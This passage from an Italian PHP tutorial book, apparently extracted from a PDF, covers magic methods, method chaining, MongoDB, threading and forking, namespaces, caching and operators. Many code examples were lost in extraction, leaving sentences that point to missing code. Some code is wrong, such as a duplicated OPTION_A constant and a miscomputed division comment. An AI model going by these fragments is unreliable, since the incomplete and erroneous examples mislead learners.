https://riptutorial.com/it/home 318
__sleep () e __wakeup ()
class Sleepy {
public $tableName;
public $tableFields;
public $dbConnection;
/**
* This magic method will be invoked by serialize function.
* Note that $dbConnection is excluded.
*/
public function __sleep()
{
// Only $this->tableName and $this->tableFields will be serialized.
return ['tableName', 'tableFields'];
}
/**
* This magic method will be called by unserialize function.
*
* For sake of example, lets assume that $this->c, which was not serialized,
* is some kind of a database connection. So on wake up it will get reconnected.
*/
public function __wakeup()
{
// Connect to some default database and store handler/wrapper returned into
// $this->dbConnection
$this->dbConnection = DB::connect();
}
}
__informazioni di debug()
class DeepThought {
public function __debugInfo() {
return [42];
}
}
5.6
https://riptutorial.com/it/home 319
var_dump(new DeepThought());
5.6
var_dump(new DeepThought());
__clone()
__clone viene invocato utilizzando la parola chiave clone . È usato per manipolare lo stato
dell'oggetto dopo la clonazione, dopo che l'oggetto è stato effettivamente clonato.
class CloneableUser
{
public $name;
public $lastName;
/**
* This method will be invoked by a clone operator and will prepend "Copy " to the
* name and lastName properties.
*/
public function __clone()
{
$this->name = "Copy " . $this->name;
$this->lastName = "Copy " . $this->lastName;
}
}
Esempio:
https://riptutorial.com/it/home 320
Capitolo 63: Modelli di progettazione
introduzione
Questo argomento fornisce esempi di modelli di progettazione ben noti implementati in PHP.
Examples
Metodo di concatenamento in PHP
Il metodo Chaining è una tecnica spiegata nel libro Domain Specific Languages di Martin Fowler .
Il concatenamento del metodo è riassunto come
Fa in modo che i metodi di modifica restituiscano l'oggetto host, in modo che più
modificatori possano essere richiamati in una singola espressione .
Considera questa parte di codice non concatenante / regolare (trasferita su PHP dal libro sopra
menzionato)
Il metodo Chaining consente di scrivere le dichiarazioni di cui sopra in modo più compatto:
Tutto quello che devi fare per far funzionare tutto questo è return $this nei metodi da cui vuoi
concatenare:
class HardDrive {
protected $isExternal = false;
protected $capacity = 0;
protected $speed = 0;
https://riptutorial.com/it/home 321
$this->speed = $speed;
return $this; // returns the current class instance to allow method chaining
}
}
Quando usarlo
I casi d'uso primari per l'utilizzo di Method Chaining si hanno quando si creano lingue specifiche di
dominio interne. Il concatenamento di metodi è un elemento fondamentale in Expression Builders
e Fluent Interfaces . Non è sinonimo di quelli, però . Il metodo Chaining consente semplicemente
a quelli. Citando Fowler:
Detto questo, l'uso del metodo di concatenamento solo per evitare di scrivere l'oggetto host è
considerato un odore di codice da molti. Rende API non ovvi, soprattutto quando si mischiano con
API non concatenate.
Note aggiuntive
Comando Separazione delle query
Command Query Separation è un principio di design portato avanti da Bertrand Meyer . Dichiara
che i metodi che mutano lo stato ( comandi ) non dovrebbero restituire nulla, mentre i metodi che
restituiscono qualcosa ( query ) non dovrebbero mutare lo stato. Questo rende più facile ragionare
sul sistema. Il metodo Chaining viola questo principio perché stiamo mutando lo stato e
restituendo qualcosa.
Getters
Quando si utilizzano le classi che implementano il concatenamento dei metodi, prestare
particolare attenzione quando si chiamano i metodi getter (cioè i metodi che restituiscono
qualcosa di diverso da $this ). Poiché i getter devono restituire un valore diverso da $this ,
concatenare un metodo addizionale a un getter rende la chiamata operativa sul valore ottenuto ,
non sull'oggetto originale. Mentre ci sono alcuni casi d'uso per i getter concatenati, possono
rendere il codice meno leggibile.
https://riptutorial.com/it/home 322
sui test. Questo perché stiamo restituendo l'istanza dell'host e non qualche collaboratore. È un
comune malinteso derivante da persone che confondono il semplice metodo di concatenazione
con Fluent Interfaces e Expression Builders . È solo quando Method Chaining restituisce altri
oggetti rispetto all'oggetto host che violi Law of Demeter e finisci con i Mock Fests nei tuoi test.
https://riptutorial.com/it/home 323
Capitolo 64: mongo-php
Sintassi
1. trova()
Examples
Tutto tra MongoDB e Php
Requisiti
• Il server MongoDB in esecuzione sulla porta solitamente 27017. (digitare mongod al prompt
dei comandi per eseguire il server mongodb)
• Php installato come cgi o fpm con estensione MongoDB installata (l'estensione MongoDB
non è in bundle con php predefinito)
• Libreria del compositore (mongodb / mongodb). (Nel root del progetto php composer.phar
require "mongodb/mongodb=^1.0.0" per installare la libreria MongoDB)
se non si è sicuri controllare l'installazione di Php eseguendo php -v al prompt dei comandi si
otterrà qualcosa di simile
PHP 7.0.6 (cli) (built: Apr 28 2016 14:12:14) ( ZTS ) Copyright (c) 1997-2016 The PHP Group Zend
Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies
<?php
//This path should point to Composer's autoloader from where your MongoDB library will be
loaded
require 'vendor/autoload.php';
https://riptutorial.com/it/home 324
// when using custom username password
try {
$mongo = new MongoDB\Client('mongodb://username:password@localhost:27017');
print_r($mongo->listDatabases());
} catch (Exception $e) {
echo $e->getMessage();
}
<?php
<?php
//use find() method to query for records, where parameter will be array containing key value
https://riptutorial.com/it/home 325
pair we need to find.
$result = $collection->find( [ 'name' => 'Hinterland', 'brewery' => 'BrewDog' ] );
?>
Abbandona in MongoDB
<?php
?>
Ci sono molti metodi che possono essere eseguiti su $collection vedi la documentazione ufficiale
di MongoDB
https://riptutorial.com/it/home 326
Capitolo 65: Multi Threading Extension
Osservazioni
Con pthreads v3 i pthreads possono essere caricati solo quando si usa il cli SAPI,
quindi è buona norma mantenere l' extension=pthreads.so direttiva in php-cli.ini SOLO,
se si utilizza PHP7 e Pthreads v3.
extension=php_pthreads.dll
Per quanto riguarda gli utenti di Linux , devi sostituire .dll di .so :
extension=pthreads.so
Puoi eseguire direttamente questo comando per aggiungerlo a php.ini (cambia /etc/php.ini con il
tuo percorso personalizzato)
Examples
Iniziare
Per iniziare con il multi-threading, avresti bisogno di pthreads-ext per php, che può essere
installato da
Un semplice esempio:
<?php
// NOTE: Code uses PHP7 semantics.
class MyThread extends Thread {
/**
* @var string
* Variable to contain the message to be displayed.
*/
private $message;
https://riptutorial.com/it/home 327
$this->message = $message;
}
// Instantiate MyThread
$myThread = new MyThread("Hello from an another thread!");
// Start the thread. Also it is always a good practice to join the thread explicitly.
// Thread::start() is used to initiate the thread,
$myThread->start();
// and Thread::join() causes the context to wait for the thread to finish executing
$myThread->join();
Pool e lavoratori offrono un livello più elevato di controllo e facilità di creazione di thread multipli
<?php
// This is the *Work* which would be ran by the worker.
// The work which you'd want to do in your worker.
// This class needs to extend the \Threaded or \Collectable or \Thread class.
class AwesomeWork extends Thread {
private $workName;
/**
* @param string $workName
* The work name wich would be given to every work.
*/
public function __construct(string $workName) {
// The block of code in the constructor of your work,
// would be executed when a work is submitted to your pool.
$this->workName = $workName;
printf("A new work was submitted with the name: %s\n", $workName);
}
https://riptutorial.com/it/home 328
// before the Work's are started (the block of code in the `run` method of your Work)
// by the Worker.
/* ... */
}
}
https://riptutorial.com/it/home 329
Capitolo 66: multiprocessing
Examples
Multiprocessing utilizzando le funzioni di fork integrate
È possibile utilizzare le funzioni integrate per eseguire i processi PHP come fork. Questo è il modo
più semplice per ottenere un lavoro parallelo se non hai bisogno che i tuoi thread parlino tra loro.
Ciò consente di inserire attività a tempo elevato (come il caricamento di un file su un altro server o
l'invio di un messaggio di posta elettronica) su un altro thread in modo che lo script venga caricato
più rapidamente e possa utilizzare più core, ma si tenga presente che non si tratta di vero
multithreading e il thread principale non sarà sapere cosa stanno facendo i bambini.
Nota che sotto Windows questo farà apparire un altro prompt dei comandi per ogni fork che avvii.
master.php
worker.php
PHP ha costruito in funzione pcntl_fork per la creazione del processo figlio. pcntl_fork è uguale a
fork in unix. Non contiene alcun parametro e restituisce numeri interi che possono essere utilizzati
per differenziare tra processo padre e figlio. Si consideri il seguente codice per la spiegazione
<?php
// $pid is the PID of child
$pid = pcntl_fork();
if ($pid == -1) {
die('Error while creating child process');
} else if ($pid) {
// Parent process
} else {
// Child process
}
https://riptutorial.com/it/home 330
?>
Come puoi vedere -1 è un errore nel fork e il bambino non è stato creato. Alla creazione di child,
abbiamo due processi in esecuzione con PID separati.
Un'altra considerazione qui è un zombie process o un zombie process defunct process quando il
processo genitore termina prima del processo figlio. Per evitare che i bambini zombi
pcntl_wait($status) semplicemente aggiungi pcntl_wait($status) alla fine del processo genitore.
pnctl_wait sospende l'esecuzione del processo genitore fino all'uscita dal processo
figlio.
Vale anche la pena notare che il zombie process non può essere ucciso usando il segnale SIGKILL .
<?php
$descriptor = array(
0 => array("pipe", "r"), // pipe for stdin of child
1 => array("pipe", "w"), // pipe for stdout of child
);
$process = proc_open("bash", $descriptor, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], "pwd" . "\n");
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
$return_value = proc_close($process);
}
?>
proc_open esegue il comando bash con $descriptor come specifiche del descrittore.
Successivamente utilizziamo is_resource per convalidare il processo. Una volta terminato,
possiamo iniziare a interagire con il processo figlio usando $ pipe che viene generato secondo le
specifiche del descrittore.
Successivamente, possiamo semplicemente usare fwrite per scrivere su stdin del processo figlio.
In questo caso pwd seguito dal ritorno a capo. Infine stream_get_contents è usato per leggere lo
stdout del processo figlio.
https://riptutorial.com/it/home 331
Capitolo 67: Namespace
Osservazioni
Dalla documentazione di PHP :
Cosa sono gli spazi dei nomi? Nella definizione più ampia, gli spazi dei nomi sono un
modo per incapsulare gli oggetti. Questo può essere visto come un concetto astratto in
molti posti. Ad esempio, in qualsiasi directory del sistema operativo è possibile
raggruppare file correlati e agire come spazio dei nomi per i file al loro interno. Come
esempio concreto, il file foo.txt può esistere in entrambe le directory / home / greg e in /
home / other, ma due copie di foo.txt non possono coesistere nella stessa directory.
Inoltre, per accedere al file foo.txt al di fuori della directory / home / greg, dobbiamo
anteporre il nome della directory al nome del file usando il separatore di directory per
ottenere /home/greg/foo.txt. Questo stesso principio si estende ai namespace nel
mondo della programmazione.
Nota che gli spazi dei nomi di primo livello PHP e php sono riservati al linguaggio PHP stesso. Non
dovrebbero essere usati in alcun codice personalizzato.
Examples
Dichiarare spazi dei nomi
Una dichiarazione dello spazio dei nomi può avere il seguente aspetto:
Si consiglia di dichiarare un singolo spazio dei nomi solo per file, anche se è possibile dichiararne
il numero desiderato in un singolo file:
namespace First {
class A { ... }; // Define class A in the namespace First.
}
namespace Second {
class B { ... }; // Define class B in the namespace Second.
}
namespace {
class C { ... }; // Define class C in the root namespace.
}
Ogni volta che dichiari uno spazio dei nomi, le classi che definisci dopo apparterranno a tale
spazio dei nomi:
https://riptutorial.com/it/home 332
namespace MyProject\Shapes;
Una dichiarazione dello spazio dei nomi può essere utilizzata più volte in file diversi. L'esempio
sopra definito tre classi nello spazio dei nomi MyProject\Shapes in un singolo file. Preferibilmente
questo sarebbe diviso in tre file, ognuno a partire da namespace MyProject\Shapes; . Questo è
spiegato in modo più dettagliato nell'esempio standard PSR-4.
Come mostrato in Dichiarare spazi dei nomi , possiamo definire una classe in uno spazio dei nomi
come segue:
namespace MyProject\Shapes;
Per fare riferimento a questa classe, è necessario utilizzare il percorso completo (incluso lo spazio
dei nomi):
Questo può essere abbreviato importando la classe tramite l' use -statement:
Per quanto riguarda PHP 7.0 è possibile raggruppare vari use -statements in una singola
istruzione usando parentesi:
use MyProject\Shapes\{
Rectangle, //Same as `use MyProject\Shapes\Rectangle`
Circle, //Same as `use MyProject\Shapes\Circle`
Triangle, //Same as `use MyProject\Shapes\Triangle`
A volte due classi hanno lo stesso nome. Questo non è un problema se si trovano in un
namespace diverso, ma potrebbe diventare un problema quando si tenta di importarli con l' use -
statement:
use MyProject\Shapes\Oval;
https://riptutorial.com/it/home 333
use MyProject\Languages\Oval; // Apparantly Oval is also a language!
// Error!
Questo può essere risolto definendo un nome per l'alias usando la parola chiave as :
Per fare riferimento a una classe al di fuori dello spazio dei nomi corrente, è necessario eseguire
l'escape con un \ , altrimenti viene assunto un percorso relativo al namespace dallo spazio dei
nomi corrente:
namespace MyProject\Shapes;
La comunità PHP ha molti sviluppatori che creano molto codice. Ciò significa che il codice PHP di
una libreria può utilizzare lo stesso nome di classe di un'altra libreria. Quando entrambe le librerie
sono utilizzate nello stesso spazio dei nomi, si scontrano e causano problemi.
I namespace risolvono questo problema. Come descritto nel manuale di riferimento di PHP, gli
spazi dei nomi possono essere confrontati con le directory del sistema operativo che i file dello
spazio dei nomi; due file con lo stesso nome possono coesistere in directory separate. Allo stesso
modo, due classi PHP con lo stesso nome possono coesistere in spazi dei nomi PHP separati.
È importante per te assegnare un nome al tuo codice in modo che possa essere utilizzato da altri
sviluppatori senza temere di scontrarsi con altre librerie.
Per dichiarare un singolo spazio dei nomi con gerarchia usa il seguente esempio:
namespace MyProject\Sub\Level;
https://riptutorial.com/it/home 334
const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }
costante MyProject\Sub\Level\CONNECT_OK
classe MyProject\Sub\Level\Connection e
funzione MyProject\Sub\Level\connect
https://riptutorial.com/it/home 335
Capitolo 68: nascondiglio
Osservazioni
Installazione
Puoi installare memcache usando pecl
Examples
Memorizzazione nella cache mediante memcache
if (class_exists('Memcache')) {
$cache = new Memcache();
$cache->connect('localhost',11211);
}else {
print "Not connected to cache server";
}
Questo convaliderà che i driver php di Memcache sono installati e si connettono all'istanza del
server memcache in esecuzione su localhost.
Nell'esempio sopra abbiamo collegato solo a una singola istanza, ma puoi anche connetterti a più
server utilizzando
if (class_exists('Memcache')) {
$cache = new Memcache();
$cache->addServer('192.168.0.100',11211);
$cache->addServer('192.168.0.101',11211);
}
Nota che in questo caso, a differenza della connessione, non ci sarà alcuna connessione attiva
finché non proverai a memorizzare o recuperare un valore.
Nella memorizzazione nella cache ci sono tre operazioni importanti che devono essere
implementate
https://riptutorial.com/it/home 336
1. Memorizza i dati: aggiungi nuovi dati al server memcached
2. Ottieni dati: recupera i dati dal server memcached
3. Elimina dati: cancella i dati già esistenti dal server memcached
Immagazzina dati
$cache o memcached oggetto di classe ha un metodo set che accetta una chiave, valore e tempo
per salvare il valore per (ttl).
Qui $ ttl o time to live è il tempo in secondi in cui si desidera che memcache memorizzi la coppia
sul server.
Ottieni dati
$cache o memcached oggetto di classe ha un metodo get che accetta una chiave e restituisce il
valore corrispondente.
$value = $cache->get($key);
Nel caso in cui non ci sia alcun valore impostato per la chiave, restituirà null
Elimina dati
A volte potresti aver bisogno di cancellare qualche valore di cache. $cache istanza $cache o
memcache ha un metodo di delete che può essere utilizzato per lo stesso.
$cache->delete($key);
if (class_exists('Memcache')) {
$cache = new Memcache();
$cache->connect('localhost',11211);
if(($data = $cache->get('posts')) != null) {
// Cache hit
// Render from cache
} else {
// Cache miss
https://riptutorial.com/it/home 337
// Query database and save results to database
// Assuming $posts is array of posts retrieved from database
$cache->set('posts', $posts,0,$ttl);
}
}else {
die("Error while connecting to cache server");
}
L'alternativa PHP Cache (APC) è una cache di opcode libera e aperta per PHP. Il suo obiettivo è
fornire un framework libero, aperto e robusto per la memorizzazione nella cache e l'ottimizzazione
del codice intermedio PHP.
installazione
Aggiungi cache:
Elimina cache:
apc_delete($key);
if (apc_exists($key)) {
echo "Key exists: ";
echo apc_fetch($key);
} else {
echo "Key does not exist";
apc_add ($key, $value , $ttl);
}
Prestazioni :
https://riptutorial.com/it/home 338
Capitolo 69: operatori
introduzione
Un operatore è qualcosa che prende uno o più valori (o espressioni, nel gergo della
programmazione) e produce un altro valore (in modo che la costruzione stessa diventi
un'espressione).
Gli operatori possono essere raggruppati in base al numero di valori che prendono.
Osservazioni
Gli operatori "operano" o agiscono su uno (operatori unari come !$a e ++$a ), due (operatori binari
come $a + $b o $a >> $b ) o tre (l'unico operatore ternario è $a ? $b : $c ) espressioni.
La precedenza dell'operatore influenza il modo in cui gli operatori sono raggruppati (come se
esistessero parentesi). Di seguito è riportato un elenco di operatori in ordine di precondenza
(operatori nella seconda colonna). Se più operatori sono in una riga, il raggruppamento è
determinato dall'ordine del codice, in cui la prima colonna indica l'associatività (vedere gli esempi).
Associazione Operatore
sinistra -> ::
sinistra [
destra **
nessuna instanceof
destra !
sinistra */%
sinistra +-.
sinistra &
https://riptutorial.com/it/home 339
Associazione Operatore
sinistra ^
sinistra |
sinistra &&
sinistra ||
destra ??
sinistra ? :
sinistra and
sinistra xor
sinistra or
Si noti che le funzioni e i costrutti del linguaggio (ad esempio, print ) vengono sempre valutati per
primi, ma qualsiasi valore di ritorno verrà utilizzato in base alle precedenti regole di precedenza /
associatività. È necessaria particolare attenzione se le parentesi dopo un costrutto linguistico
vengono omesse. Ad esempio echo 2 . print 3 + 4; echo 721 : la parte di print valuta 3 + 4 ,
stampa il risultato 7 e restituisce 1 . Dopodiché, viene echeggiato 2 , concatenato con il valore
restituito da print ( 1 ).
Examples
Operatori di stringhe (. E. =)
$a = "a";
$b = "b";
$c = $a . $b; // $c => "ab"
$a = "a";
$a .= "b"; // $a => "ab"
https://riptutorial.com/it/home 340
$a = "some string";
$a = 3;
$b = ($a = 5);
fa quanto segue:
1. La riga 1 assegna da 3 a $a .
2. La riga 2 assegna da 5 a $a . Questa espressione produce anche il valore 5 .
3. La riga 2 assegna quindi il risultato dell'espressione tra parentesi ( 5 ) a $b .
Gli operatori di assegnazione combinati sono una scorciatoia per un'operazione su alcune variabili
e successivamente assegnano questo nuovo valore a quella variabile.
Aritmetica:
$a = 1; // basic assignment
$a += 2; // read as '$a = $a + 2'; $a now is (1 + 2) => 3
$a -= 1; // $a now is (3 - 1) => 2
$a *= 2; // $a now is (2 * 2) => 4
$a /= 2; // $a now is (16 / 2) => 8
$a %= 5; // $a now is (8 % 5) => 3 (modulus or remainder)
// array +
$arrOne = array(1);
$arrTwo = array(2);
$arrOne += $arrTwo;
$a = "a";
$a .= "b"; // $a => "ab"
$a = 0b00101010; // $a now is 42
$a &= 0b00001111; // $a now is (00101010 & 00001111) => 00001010 (bitwise and)
$a |= 0b00100010; // $a now is (00001010 | 00100010) => 00101010 (bitwise or)
https://riptutorial.com/it/home 341
$a ^= 0b10000010; // $a now is (00101010 ^ 10000010) => 10101000 (bitwise xor)
$a >>= 3; // $a now is (10101000 >> 3) => 00010101 (shift right by 3)
$a <<= 1; // $a now is (00010101 << 1) => 00101010 (shift left by 1)
L'ordine in cui vengono valutati gli operatori è determinato dalla precedenza degli operatori
(vedere anche la sezione Note).
Nel
$a = 2 * 3 + 4;
$a ottiene un valore di 10 perché 2 * 3 viene valutato per primo (la moltiplicazione ha una
precedenza più alta rispetto all'addizione) producendo un risultato secondario di 6 + 4 , che
equivale a 10.
$a = 2 * (3 + 4);
Associazione
Associazione sinistra
Se la prece- denza di due operatori è uguale, l'associatività determina il raggruppamento (vedere
anche la sezione Osservazioni):
Giusta associazione
$a = 1;
$b = 1;
$a = $b += 1;
https://riptutorial.com/it/home 342
Sia $a che $b ora hanno valore 2 perché $b += 1 è raggruppato e quindi il risultato ( $b è 2 ) è
assegnato a $a .
Operatori di confronto
Uguaglianza
Per il test di uguaglianza di base, viene utilizzato l'operatore uguale == . Per controlli più completi,
utilizzare l'operatore identico === .
L'operatore identico funziona allo stesso modo dell'operatore uguale, richiedendo che i suoi
operandi abbiano lo stesso valore, ma richiede anche che abbiano lo stesso tipo di dati.
Ad esempio, nell'esempio seguente verrà visualizzato 'aeb sono uguali', ma non 'aeb sono
identici'.
$a = 4;
$b = '4';
if ($a == $b) {
echo 'a and b are equal'; // this will be printed
}
if ($a === $b) {
echo 'a and b are identical'; // this won't be printed
}
Quando si utilizza l'operatore uguale, le stringhe numeriche vengono convertite in numeri interi.
Confronto di oggetti
=== confronta due oggetti controllando se sono esattamente la stessa istanza . Ciò significa che il
new stdClass() === new stdClass() risolve in falso, anche se sono creati nello stesso modo (e
hanno gli stessi identici valori).
== confronta due oggetti controllando in modo ricorsivo se sono uguali ( equazioni profonde ). Ciò
significa, per $a == $b , se $a e $b sono:
1. Maggiore di ( > )
https://riptutorial.com/it/home 343
2. Meno di ( < )
3. Maggiore o uguale a ( >= )
4. Minore di o uguale a ( <= )
5. Non uguale a ( != )
6. Non identicamente uguale a ( !== )
Esempio :
2. Minore di: $a < $b , restituisce true se $a valore di s' è più piccola che di $b , altrimenti
restituisce false.
Esempio :
Esempio :
4. Minore o uguale a: $a <= $b , ritorna true se $a 'valore di s è uno dei più piccolo di $b o
uguale a $b , altrimenti restituisce false .
Esempio :
5/6. Non uguale / identico a: per ripetere l'esempio precedente sull'uguaglianza, nell'esempio
seguente verrà visualizzato 'aeb non sono identici', ma non 'aeb non sono uguali'.
$a = 4;
$b = '4';
if ($a != $b) {
echo 'a and b are not equal'; // this won't be printed
}
if ($a !== $b) {
echo 'a and b are not identical'; // this will be printed
}
https://riptutorial.com/it/home 344
Operatore di astronave (<=>)
PHP 7 introduce un nuovo tipo di operatore, che può essere utilizzato per confrontare le
espressioni. Questo operatore restituirà -1, 0 o 1 se la prima espressione è minore di, uguale a o
maggiore della seconda espressione.
// Integers
print (1 <=> 1); // 0
print (1 <=> 2); // -1
print (2 <=> 1); // 1
// Floats
print (1.5 <=> 1.5); // 0
print (1.5 <=> 2.5); // -1
print (2.5 <=> 1.5); // 1
// Strings
print ("a" <=> "a"); // 0
print ("a" <=> "b"); // -1
print ("b" <=> "a"); // 1
Gli oggetti non sono confrontabili e così facendo si otterranno comportamenti non definiti.
Questo operatore è particolarmente utile quando si scrive una funzione di confronto definita
dall'utente utilizzando usort , uasort o uksort . Data una serie di oggetti da ordinare in base alla
loro proprietà weight , ad esempio, una funzione anonima può utilizzare <=> per restituire il valore
atteso dalle funzioni di ordinamento.
Null coalescing è un nuovo operatore introdotto in PHP 7. Questo operatore restituisce il suo
primo operando se è impostato e non NULL . Altrimenti restituirà il suo secondo operando.
Il seguente esempio:
è equivalente a entrambi:
if (isset($_POST['name'])) {
$name = $_POST['name'];
} else {
$name = 'nobody';
https://riptutorial.com/it/home 345
}
e:
Questo operatore può anche essere incatenato (con semantica associativa a destra):
che è equivalente a:
if (isset($_GET['name'])) {
$name = $_GET['name'];
} elseif (isset($_POST['name'])) {
$name = $_POST['name'];
} else {
$name = 'nobody';
}
Nota:
Quando si utilizza l'operatore di coalescenza sulla concatenazione di stringhe, non dimenticare di
usare parentesi ()
$firstName = "John";
$lastName = "Doe";
echo $firstName ?? "Unknown" . " " . $lastName ?? "";
Questo produrrà solo John , e se il suo $ firstName è null e $ lastName è Doe , emetterà Unknown Doe
. Per generare John Doe , dobbiamo usare parentesi come questa.
$firstName = "John";
$lastName = "Doe";
echo ($firstName ?? "Unknown") . " " . ($lastName ?? "");
Per verificare se alcuni oggetti sono di una certa classe, l'operatore instanceof (binario) può
essere utilizzato da PHP versione 5.
Il secondo parametro (a destra) è la classe con cui confrontare. La classe può essere fornita come
nome di classe stesso, una variabile stringa contenente il nome della classe (non una costante di
stringa!) O un oggetto di quella classe.
https://riptutorial.com/it/home 346
class MyClass {
}
// counter examples:
$b = 'b';
$a = $o1 instanceof 'MyClass'; // parse error: constant not allowed
$a = false instanceof MyClass; // fatal error: constant not allowed
$a = $b instanceof MyClass; // false ($b is not an object)
instanceof può anche essere usato per verificare se un oggetto è di una classe che estende
un'altra classe o implementa una qualche interfaccia:
interface MyInterface {
}
$o = new MySubClass();
Per verificare se un oggetto non è di qualche classe, è possibile utilizzare l'operatore not ( ! ):
class MyClass {
}
class OtherClass {
}
$o = new MyClass();
$a = !$o instanceof OtherClass; // true
Nota che le parentesi intorno a $o instanceof MyClass non sono necessarie perché instanceof ha
una precedenza più alta di ! , sebbene possa rendere il codice più leggibile con parentesi.
Avvertenze
Se una classe non esiste, le funzioni di autoload registrate vengono chiamate per provare a
https://riptutorial.com/it/home 347
definire la classe (questo è un argomento al di fuori dell'ambito di questa parte della
documentazione!). Nelle versioni di PHP precedenti alla 5.1.0, l'operatore instanceof avrebbe
attivato anche queste chiamate, definendo quindi la classe (e se la classe non poteva essere
definita, si sarebbe verificato un errore fatale). Per evitare ciò, usa una stringa:
$o = new MyClass();
$a = $o instanceof OtherClass; // OtherClass is not defined!
// if OtherClass can be defined in a registered autoloader, it is actually
// loaded and $a gets boolean value false ($o is not a OtherClass)
// if OtherClass can not be defined in a registered autoloader, a fatal
// error occurs.
$name = 'YetAnotherClass';
$a = $o instanceof $name; // YetAnotherClass is not defined!
// $a simply gets boolean value false, YetAnotherClass remains undefined.
A partire dalla versione 5.1.0 di PHP, i caricatori automatici registrati non vengono più chiamati in
queste situazioni.
Operatore ternario (? :)
L'operatore ternario può essere pensato come un'istruzione in linea if . Consiste di tre parti. L'
operator e due risultati. La sintassi è la seguente:
Se l' operator viene valutato come true , verrà restituito il valore nel primo blocco ( <true value> ),
altrimenti verrà restituito il valore nel secondo blocco ( <false value> ). Dato che stiamo
impostando $value sul risultato del nostro operatore ternario, esso memorizzerà il valore restituito.
Esempio:
L'espressione (expr1) ? (expr2) : (expr3) restituisce expr2 se expr1 restituisce true , e expr3 se
expr1 restituisce false .
https://riptutorial.com/it/home 348
È possibile escludere la parte centrale dell'operatore ternario. Espressione expr1 ?: expr3
rendimenti expr1 se expr1 è TRUE, e expr3 altrimenti. ?: è spesso indicato come operatore Elvis .
Questo si comporta come l' operatore Null Coalescing ?? , tranne che ?? richiede che l'operando di
sinistra sia esattamente null mentre ?: prova a risolvere l'operando di sinistra in un booleano e
controlla se si risolve in booleano false .
Esempio:
In questo esempio, setWidth accetta un parametro width, o default 0, per modificare il valore della
larghezza della sessione. Se $width è 0 (se $width non è fornito), che si risolve in boolean false,
viene utilizzato invece il valore di getDefaultWidth() . La funzione getDefaultWidth() non verrà
chiamata se $width non si risolve in booleano false.
Fare riferimento a Tipi per ulteriori informazioni sulla conversione di variabili in booleana.
$i = 1;
echo $i; // Prints 1
L'operatore di esecuzione PHP è costituito da backtick (``) e viene utilizzato per eseguire comandi
di shell. L'output del comando verrà restituito e, pertanto, può essere memorizzato in una
variabile.
// List files
https://riptutorial.com/it/home 349
$output = `ls`;
echo "<pre>$output</pre>";
Operatore Vero se
$a or $b O $a o $b è vero
$a || $b O $a o $b è vero
Nota che && e || gli operer hanno una precedenza maggiore di and e or . Vedi la tabella qui sotto:
// bitwise NOT ~: sets all unset bits and unsets all set bits
printf("%'06b", ~0b110110); // 001001
Operatori bitmask-bitmask
AND bit a bit & : un bit è impostato solo se si trova in entrambi gli operandi
https://riptutorial.com/it/home 350
printf("%'06b", 0b110101 | 0b011001); // 111101
Bit XOR ^ : un bit viene impostato se è impostato in un operando e non impostato in un altro
operando, cioè solo se quel bit si trova in uno stato diverso nei due operandi
Qui, il | l'operatore è usato per combinare le due maschere di bit. Sebbene + abbia lo stesso
effetto, | sottolinea che stai combinando le maschere di bit, non aggiungendo due normali valori
scalari.
class Foo{
const OPTION_A = 1;
const OPTION_B = 2;
const OPTION_C = 4;
const OPTION_A = 8;
Questo esempio (supponendo che l' $option contenga sempre solo un bit) utilizza:
https://riptutorial.com/it/home 351
• l'operatore ^ per alternare comodamente le maschere di bit.
• il | operatore per impostare un po 'trascurando il suo stato originale o altri bit
• l'operatore ~ per convertire un numero intero con un solo bit impostato in un numero intero
con un solo bit non impostato
• l'operatore & per disinserire un bit, usando queste proprietà di & :
○Dal momento che &= con un bit impostato non farà nulla ( (1 & 1) === 1 , (0 & 1) === 0
), facendo &= con un intero con un solo bit non impostato, disattiverà solo quel bit , non
influenzando altri bit.
○&= con un bit non impostato disattiverà quel bit ( (1 & 0) === 0 , (0 & 0) === 0 )
• Usando l'operatore & con un'altra maschera di bit si filtrano tutti gli altri bit non impostati in
quella maschera di bit.
○Se l'output ha qualche bit impostato, significa che ognuna delle opzioni è abilitata.
○Se l'output ha tutti i bit della serie di maschere di bit, significa che tutte le opzioni nella
maschera di bit sono abilitate.
Tenete a mente che questi operatori di confronto: ( < > <= >= == === != !== <> <=> ) hanno
precedenza maggiore rispetto questi operatori maschera di bit-maschera di bit: ( | ^ & ). Poiché i
risultati bit a bit vengono spesso confrontati utilizzando questi operatori di confronto, questo è un
errore comune da tenere presente.
Spostamento a destra bit a bit >> : eliminare lo spostamento più basso e spostare i bit rimanenti a
destra (meno significativo)
$x >>= 4;
Nei sistemi a 32 bit, questo elimina tutti i bit nel numero intero, impostando il valore su 0. Sui
https://riptutorial.com/it/home 352
sistemi a 64 bit, questo elimina i 32 bit più significativi e mantiene il minimo
Nota: in questo esempio viene utilizzato printf("%'06b") . Emette il valore in 6 cifre binarie.
class MyClass {
public $a = 1;
public static $b = 2;
const C = 3;
public function d() { return 4; }
public static function e() { return 5; }
}
Si noti che dopo l'operatore dell'oggetto, $ non deve essere scritto ( $object->a invece di $object-
>$a ). Per l'operatore di classe, questo non è il caso e il $ è necessario. Per una costante definita
nella classe, $ non viene mai utilizzato.
Si noti inoltre che var_dump(MyClass::d()); è consentito solo se la funzione d() non fa riferimento
l'oggetto:
class MyClass {
private $a = 1;
public function d() {
return $this->a;
}
}
Ciò causa un errore "Fatal PHP": Errore non rilevato: utilizzo di $ this quando non nel contesto
dell'oggetto "
Questi operatori hanno lasciato l' associatività, che può essere usata per "concatenare":
https://riptutorial.com/it/home 353
class MyClass {
private $a = 1;
Questi operatori hanno la precedenza più alta (non sono nemmeno menzionati nel manuale),
